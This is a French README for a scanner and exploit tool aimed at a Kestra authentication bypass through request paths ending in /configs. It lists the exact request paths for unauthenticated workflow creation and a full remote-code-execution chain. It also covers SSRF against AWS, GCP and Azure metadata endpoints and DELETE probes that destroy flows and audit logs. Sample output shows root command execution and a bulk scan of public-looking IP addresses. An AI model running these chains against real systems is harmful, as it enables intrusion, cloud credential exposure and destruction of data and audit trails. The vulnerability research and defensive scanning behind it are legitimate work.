
Kestra Auth-Bypass Vulnerability Checker
Scanne les instances Kestra pour le contournement du filtre d'authentification endsWith("/configs"). Le AuthenticationFilter.java de Kestra vérifie request.getPath().endsWith("/configs") au lieu de correspondre au chemin exact /api/v1/configs. Comme Kestra adresse les ressources via des segments de chemin choisis par l'appelant (namespace, flow ID), tout chemin se terminant par /configs contourne l'authentification de base, permettant la création non authentifiée de workflows et l'exécution de code à distance (RCE). (CVSS 10.0)
Références :
GET /api/v1/configs (doit retourner 200 ; le corps de la réponse est analysé pour la version de Kestra)GET /api/v1/{tenant}/flows (doit retourner 401/403 si l'authentification est appliquée)/configs ; si l'une d'elles retourne autre chose que 401/403 alors que la vérification d'authentification est appliquée, l'instance est vulnérable--aggressive) envoie également des requêtes PUT pour confirmer la capacité de contournement en écriture--rce) chaîne complète : créer un workflow shell/python → déclencher l'exécution → récupérer les logs → confirmer l'exécution de code → nettoyer--ssrf) crée un workflow avec le http() de Pebble ciblant les métadonnées cloud AWS/GCP/Azure et les points de terminaison internes, puis vérifie les logs pour trouver des preuves--destructive) envoie des DELETE vers les chemins de contournement des flows, tableaux de bord et logs pour confirmer le contournement des opérations destructives| Sonde | Méthode | Chemin | Description |
|---|---|---|---|
| Configs publiques | GET | /api/v1/configs | Vérification de disponibilité + extraction de version |
| Normal protégé | GET | /api/v1/{tenant}/flows | Base de référence de l'application d'authentification |
| Contournement Flows | GET | /api/v1/{tenant}/flows/{namespace}/configs | Contournement de liste des flows |
| Contournement Exécutions | GET | /api/v1/{tenant}/executions/{namespace}/configs | Contournement d'exécutions |
| Contournement KV Store | GET | /api/v1/{tenant}/namespaces/{namespace}/kv/configs | Contournement de lecture KV |
| Contournement Tableaux de bord | GET | /api/v1/{tenant}/dashboards/configs | Contournement de tableaux de bord |
| Contournement Logs | GET | /api/v1/{tenant}/logs/{namespace}/configs | Contournement d'accès aux logs |
| Contournement Modèles | GET | /api/v1/{tenant}/templates/{namespace}/configs | Contournement de lecture des modèles |
--aggressive)| Sonde | Méthode | Chemin | Description |
|---|---|---|---|
| PUT Contournement Flows | PUT | identique au Contournement Flows | Crée un workflow minimal debug.Return |
| PUT Contournement KV | PUT | identique au Contournement KV | Crée une entrée KV {"scanned": true} |
--destructive)| Sonde | Méthode | Chemin | Description |
|---|---|---|---|
| DELETE Contournement Flows | DELETE | identique au Contournement Flows | Supprime une ressource nommée "configs" |
| DELETE Contournement Tableaux de bord | DELETE | identique au Contournement Tableaux de bord | Supprime un tableau de bord nommé "configs" |
| DELETE Contournement Logs | DELETE | identique au Contournement Logs | Détruit les logs d'audit |
--rce)S'exécute uniquement lorsque le contournement d'authentification est confirmé. La chaîne complète issue de l'avis :
| Étape | Méthode | Chemin | Description |
|---|---|---|---|
| 1. Créer un workflow RCE | PUT | /api/v1/{tenant}/flows/{namespace}/configs | Déploie un workflow avec io.kestra.plugin.scripts.shell.Commands (echo <marker>, id, hostname). Recourt à io.kestra.plugin.scripts.python.Script en cas d'échec. |
| 2. Déclencher l'exécution | POST | /api/v1/{tenant}/executions/{namespace}/configs | Démarre le workflow via le chemin de contournement |
| 3. Interroger les logs | GET | /api/v1/{tenant}/logs/search?executionId=<id> | Interroge jusqu'à --poll-retries fois (par défaut 10) toutes les --poll-interval secondes (par défaut 3) à la recherche du marqueur RCE unique |
| 4. Nettoyage | DELETE | identique à l'étape 1 | Supprime le workflow déployé |
--ssrf)S'exécute uniquement lorsque le contournement d'authentification est confirmé :
| Étape | Méthode | Chemin | Description |
|---|---|---|---|
| 1. Créer un workflow SSRF | PUT | /api/v1/{tenant}/flows/{namespace}/configs | Déploie une tâche debug.Return avec des appels http() Pebble vers AWS (169.254.169.254/latest/meta-data/ami-id), GCP (metadata.google.internal), Azure (169.254.169.254/metadata/instance) et interne (127.0.0.1:8080/api/v1/configs) |
| 2. Déclencher l'exécution | POST | identique à l'étape 2 RCE | Déclenche le workflow |
| 3. Interroger les logs | GET | /api/v1/{tenant}/logs/search?executionId=<id> | Vérifie la présence d'indicateurs de métadonnées cloud (ami-, i-, 169.254.169.254, metadata.google.internal, etc.) |
| 4. Nettoyage | DELETE | identique à l'étape 1 | Supprime le workflow déployé |
positionnel :
target URL cible unique (ex. http://localhost:8080)
options :
-f, --file Fichier contenant les cibles (une par ligne)
-t, --timeout Délai d'attente de la requête en secondes (par défaut : 10)
--verify-ssl Vérifier les certificats TLS
-j, --json Sortie JSON sur stdout
-o, --output Écrire le rapport JSON dans un fichier
--tenant Nom du locataire (par défaut : "main")
--namespace Espace de noms pour les chemins de contournement (par défaut : "tutorial")
-w, --workers Nombre de threads pour les scans en masse (par défaut : 10)
-a, --aggressive Envoyer des requêtes PUT pour confirmer le contournement en écriture
-P, --auto-ports Ports pour l'expansion automatique (par défaut : 8080 8081 8088 8091 80 443)
sondes avancées :
-r, --rce Activer la chaîne de vérification RCE (workflow shell + python,
déclenchement d'exécution, récupération des logs, nettoyage automatique)
-s, --ssrf Activer la détection SSRF (http() Pebble vers les points de terminaison
de métadonnées cloud, collecte de preuves basée sur les logs)
-d, --destructive Activer les sondes DELETE sur les flows, tableaux de bord et logs
(SUPPRIMERA des ressources sur les instances vulnérables)
--poll-interval Secondes entre les interrogations des logs pour les chaînes RCE/SSRF (par défaut : 3)
--poll-retries Nombre maximal de tentatives d'interrogation des logs pour les chaînes RCE/SSRF (par défaut : 10)
Détail complet par sonde avec enrichissement (version, état RCE/SSRF/DELETE) et verdict :
====================================================================
Target: http://10.0.0.1:8080
Timestamp: 2026-06-30T12:00:00+00:00
====================================================================
Version: 1.3.20 (AFFECTED)
RCE: CONFIRMED via shell
| SCAN_RCE_a1b2c3d4e5f6
| uid=0(root) gid=0(root) groups=0(root)
SSRF: DETECTED
| Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
DELETE BYPASS: CONFIRMED destructive ops bypass auth
[Flows Bypass]
URL: http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
Status: 200
Bypass: YES
[Exec Bypass]
URL: http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
Status: 404
Bypass: No
...
── RCE Verification Chain ──
Flow Create: 201
Exec Trigger: 201
Log Evidence: 200
> SCAN_RCE_a1b2c3d4e5f6
> uid=0(root) gid=0(root) groups=0(root)
Flow Cleanup: 204
── SSRF Detection Chain ──
Flow Create: 201
Exec Trigger: 201
Evidence: 200
Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
Flow Cleanup: 204
[VULN] Verdict: VULNERABLE ...
====================================================================
Tableau colonnaire trié avec colonnes indicateurs RCE/SSRF/DEL :
========================================================================================================================================
BULK SCAN SUMMARY GHSA-5vc5-wxxq-3fjx | CVE-2026-49869 / CVE-2026-53576
========================================================================================================================================
# Target Auth Flows Exec KV Dash Logs Tmpl RCE SSRF DEL Ver
---------------------------------------------------------------------------------------------------------------------------------------
1 http://173.249.1.26:8080 401 404 ERR ERR ERR 405 404 YES YES YES RCE!
2 http://207.180.207.199:8080 401 404 ERR ERR ERR 405 404 INC - YES VULN
...
30 http://103.115.65.228:8080 401 401 ERR 401 ERR 401 401 - - - SAFE
...
========================================================================================================================================
Total: 258 | Vulnerable: 5 | RCE Confirmed: 1 | SSRF Detected: 1 | DEL Bypass: 2 | Safe: 29 | Inconclusive: 224
========================================================================================================================================
Codes de sortie : 0 = aucune vulnérabilité, 1 = vulnérabilité trouvée, 2 = tout non concluant.
Lors de l'utilisation de -j ou -o, la sortie inclut des champs d'enrichissement par cible :
{
"scan_info": {
"scanner": "kestra_cve v2.0.0",
"cve": ["CVE-2026-49869", "CVE-2026-53576"],
"aggressive": true,
"rce": true,
"ssrf": true,
"destructive": true
},
"results": [
{
"target": "http://10.0.0.1:8080",
"vulnerable": true,
"version": "1.3.20",
"version_in_affected_range": true,
"rce_confirmed": true,
"rce_method": "shell",
"rce_evidence": "SCAN_RCE_a1b2c3d4e5f6\nuid=0(root)",
"ssrf_detected": true,
"ssrf_evidence": "Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080",
"delete_bypass": true,
"probes": { "..." : "..." }
}
],
"summary": {
"total": 258,
"vulnerable": 5,
"rce_confirmed": 1,
"ssrf_detected": 1,
"delete_bypass": 2,
"safe": 29,
"inconclusive": 224
}
}
Le scanneur extrait automatiquement la version de Kestra de la réponse GET /api/v1/configs et la classe :
| Version | Classification |
|---|---|
<= 1.0.44 | AFFECTÉE (branche 1.0, avant le correctif) |
>= 1.0.45 | Corrigée (branche 1.0) |
1.3.0 1.3.20 | AFFECTÉE (branche 1.3, avant le correctif) |
>= 1.3.21 | Corrigée (branche 1.3) |
>= 1.4.0 | Corrigée (plus récente que la plage affectée) |
| Inconnue | Version non trouvée dans la réponse |
Ceci utilise une comparaison tenant compte de la branche, car Kestra maintient des branches de correctifs séparées (1.0.x et 1.3.x).
Nécessite Python 3.10+.
pip install -r requirements.txt
python main.py --help
Pour tests défensifs autorisés uniquement. Les options --rce et --destructive créent et exécutent des ressources réelles sur la cible. Obtenez toujours une autorisation écrite appropriée avant de scanner des systèmes dont vous n'êtes pas propriétaire.